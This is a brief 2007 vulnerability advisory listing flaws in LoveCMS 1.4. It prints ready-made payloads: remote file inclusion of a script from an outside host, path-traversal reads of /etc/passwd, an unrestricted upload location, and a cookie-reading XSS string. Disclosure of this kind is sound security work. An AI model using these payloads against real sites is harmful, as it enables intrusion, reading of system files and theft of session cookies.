LoveCMS 1.4 multiple vulnerabilities

2007-02-22T00:00:00
ID SECURITYVULNS:DOC:16148
Type securityvulns
Reporter Securityvulns
Modified 2007-02-22T00:00:00

Description

rfi: /lovecms/install/index.php?step=http://site.com/boum.txt?

lfi: /lovecms/install/index.php?step=/etc/passwd%00 /lovecms/?load=../../../../../../../../../../etc/passwd%00

admin upload vuln : upload any kind of file even if it's not accepted it will be stored here : /modules/content/pictures/tmp/

xss get via error sql: /lovecms/?load=content&id='</textarea>'"><script>alert(document.cookie)</script>

laurent gaffie